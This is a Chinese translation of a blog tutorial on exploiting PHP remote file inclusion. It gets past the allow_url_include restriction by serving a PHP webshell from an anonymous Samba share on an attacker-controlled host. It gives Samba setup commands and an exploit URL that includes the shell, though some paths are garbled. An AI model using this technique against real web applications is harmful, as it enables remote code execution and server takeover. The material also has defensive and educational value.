php 创建目录_使用SMB绕过PHP远程文件包含限制
譯文聲明
本文是翻譯文章,文章原作者mannulinux,文章來源:mannulinux.org?
原文地址:http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html
譯文僅供參考,具體內(nèi)容表達(dá)以及含義原文為準(zhǔn)
簡介
在這篇文章中,我分享一下PHP程序中的遠(yuǎn)程文件包含漏洞,它經(jīng)常會在文件包含中被利用。盡管PHP環(huán)境已經(jīng)配置了禁止從遠(yuǎn)程的HTTP/FTP URL包含文件,但我將分享如何繞過遠(yuǎn)程文件包含的限制。
PHP and SMB 共享文件訪問權(quán)限
在PHP配置文件中,默認(rèn)將allow_url_include設(shè)置為Off,來限制PHP去加載遠(yuǎn)程的HTTP/FTP文件,這也有效的防御了遠(yuǎn)程文件包含攻擊。盡管PHP設(shè)置了allow_url_include和allow_url_fopen為Off,但是沒有阻止下載SMB URL。
攻擊場景
當(dāng)存在漏洞的PHP應(yīng)用程序從攻擊者控制的SMB共享機(jī)器上下載PHP webshell時(shí),SMB共享機(jī)器應(yīng)該允許其訪問該文件。攻擊者應(yīng)該設(shè)置SMB服務(wù)器可以匿名訪問。因此,一旦存在漏洞的應(yīng)用程序去從SMB共享機(jī)器上下載PHP webshell時(shí),SMB服務(wù)器不用判斷任何身份,存在漏洞的程序就可以包含這個(gè)webshell。
讓我們開始,首先在PHP的配置文件php.ini中禁止 “allow_url_fopen” 和”allow_url_include”,稍后配置SMB服務(wù)器可以匿名訪問。一旦SMB共享設(shè)置好,就可以實(shí)施攻擊。
PHP 環(huán)境配置
存在漏洞的機(jī)器已經(jīng)設(shè)置”allow_url_fopen”和”allow_url_include” 為Off,下面的截圖顯示當(dāng)前的PHP版本為5.5.11。
在此之前,我們要去訪問遠(yuǎn)程的HTTP服務(wù)器上的webshell時(shí),確保PHP禁止了遠(yuǎn)程文件包含。
應(yīng)用程序顯示報(bào)錯(cuò),當(dāng)我從遠(yuǎn)程主機(jī)上測試包含PHP webshell時(shí),遠(yuǎn)程文件包含沒成功。
配置 SAMBA 服務(wù)器為匿名訪問
使用以下命令去安裝SAMBA服務(wù)器。
apt-get install samba
創(chuàng)建SMB 共享目錄 (比如我的 /var/www/html/pub/)
mkdir /var/www/html/pub/
配置新創(chuàng)建的SMB共享目錄的權(quán)限:
chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/
運(yùn)行下面的命令來刪除SAMBA 服務(wù)器的配置文件內(nèi)容。
echo > /etc/samba/smb.conf
把下面的內(nèi)容寫在/etc/samba/smb.conf里面。
重啟SAMBA服務(wù)器,讓配置文件?/etc/samba/smb.conf生效。
一旦SAMBA 服務(wù)器重啟成功,嘗試去訪問SMB共享文件,確認(rèn)SAMBA 服務(wù)器沒有設(shè)置訪問權(quán)限。在我的測試中,SAMBA服務(wù)器的IP是192.168.0.3,在Windows 文件瀏覽中去訪問SMB共享文件,如下圖。
\192.168.0.3
在SMB共享中放置PHP webshell
真棒。SMB共享目錄是可以訪問的,ica文件是存在的。
在目錄/var/www/html/pub中放置php webshell,這是SMB共享指令ica目錄。
一旦在SMB共享目錄中放置了PHP shell,使用windows 文件瀏覽訪問SMB的共享目錄ica.
\192.168.0.3ica
你會看到PHP shell在SMB 共享目錄里面。我的是box.php
文件包含攻擊
使用存在遠(yuǎn)程文件包含的PHP應(yīng)用程序去訪問這個(gè)SMB共享PHP shell的鏈接。
http://vulnerable_application/page.php?page=\192.168.0.3icabox.php
可以看到,存在PHP文件包含的應(yīng)用程序從SMB’共享文件中獲取web shell,并在機(jī)器上執(zhí)行。我們已經(jīng)繞過了限制并包含了托管在遠(yuǎn)程機(jī)器上的webshell。
總結(jié)
以上是生活随笔為你收集整理的php 创建目录_使用SMB绕过PHP远程文件包含限制的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: ai编组选取范围快捷键(ai中编组快捷键
- 下一篇: 奥迪安卓手机carplay(奥迪安卓)